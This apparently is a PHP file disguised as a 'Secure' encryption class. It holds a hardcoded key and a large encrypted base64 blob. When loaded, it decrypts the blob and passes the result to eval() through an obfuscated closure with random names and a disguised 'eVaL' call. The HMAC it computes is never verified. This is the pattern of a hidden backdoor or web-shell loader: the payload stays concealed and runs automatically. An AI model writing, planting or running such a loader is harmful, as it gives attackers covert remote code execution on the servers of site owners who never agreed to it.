<?php
//-漫~*'´3´´´'*·舞~ 🎀
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('RRXiS4FV1eiKhDaLQhXHXMPG8LzzZmD1');
$str = 'beUaxMERqvxD5vrHTP93bYAZ9DBPkJVHJ7zLLN0RRcXKw4mqf7+Ck5NPUn1RndmU+Lhxzvf4jEOfjQ2knZL2pNoGuH1q0vYBnvIYUCiUx7KLM9dHFpAxuutyiY7ssCEiPBsN2QE5XjA+ZMaHDpWDPT2IbjnImYfFvDI3nTEi4tGmWkRdt4LdBiB3QpxWtWzN3ZzrnEgk6oFUha6ehoHomuTyElgnVKhVmYeBMD+VaimCMl+74Q+c7gV3k5QPzX9j4XsUQcadlUGCsWasc1QYgZ1Zx6XO3kvMK7xcHYRyuYRgm0L/q31qvIlt929JMBGggxvON8NdcGuoVh+ahuPV4F0HKoDqjTeSS1PHeXB7scF8JoXToTFWt0YdhWKeZ6W+v5ka1FOYYaG5s9iqfidzrLJpAQyicd07U9c5q74rHuYGMVTC3SvElUpA+L3KNO9HBYG/ltsE3n52HvpB3Fy9ejAiTKV+74pYiHc5ZRyFF3AIswuM0HlKEGaIgXPTccjsQ2qeMsIWJ97bFATUFEI1Y6xT2BkV1XRhY41pQ8Gry4dED/3FffF3PvSky9H3YQ0MJBAmepEQnM9PjkckS9U5osdRI+bccO05p+gDZ87FaUYUs6LM45nRVM2ruFPY7hAposOvrIQCuqTr1W1FKBIJitIjzy4OA/42EXCHAEvPm7IqHIIMHlxo0vsbtY9CqByVjuDK6MlBqhl4JOcH+Brv0t5JU5VerPmpvAzrb9qwJg0NW96DzLBtwub6juIrhBm7RWeSTV+ADaxVzNjip2ZcwNrV6mkk3ruDVYefe86+7kGTEME5LxtmmP4vgr09p/byk54GRneKlBZjl3oHPlzC/nZo4ZnmXqLsUTJT4WrMgImVksCGJgEpVceIDQIUDC86xF8fw3AaW5lh6F0W8G0pxGaRRbtCqON0KS07JgNWFd/R1ZGpR1zpTFkIoWBgduYC9z3aB1rrK0VphWHiKgJ9E2ZJQf/rtDnfs921iDLhh1/sgER0VrX2bMmUb6cY0Mu5C7lJVDwAxUJgmQFbRj1J/2RlT9HcyAIu8m6ztIVMECjRV7dteDN/wBqKMamaN6yrAOuCrwS7Hj/LCnFe8k/KWitbSith2EF6Eoa4Rba1FQ1PvYvQUGbAGD1o9X0VwqOtmG0mYwMQMGnXd3ZpWemyBLyMTvQaMeK3QBHBOuYUen2DHg/8YY2pASapAyAhyRBYgtAbUST2fO+Tk9dda1JrLXQRvw2962gM4BmGothUj/6T+J9fnCicr9fEiqGBf/GRB8+iU/CPqumWCfiWaHtTcvT8ptLOGRbX1uOfPkz5D2Hzq+mRIFAml1YZSB1nVXXyk8B7m5pIIK0mPHaxbBfCwrZp9Si06uoJLnYuKMnkoIACf5vXykVkX5MWMUPHwbVs+P0E/benrNdIdXwJ6j1D4Q==';
$decrypted = $secure->decrypt($str);
$uD4x16PyMj = function($zfv8UqdHhtF){
/*aPB9DeAp6*/eVaL($zfv8UqdHhtF);
$kBuGaqjyiCT = "f1zz0qz3AALOca1gvUYFN9e8SQqoTQwE";
return $kBuGaqjyiCT;
};
$uD4x16PyMj($decrypted);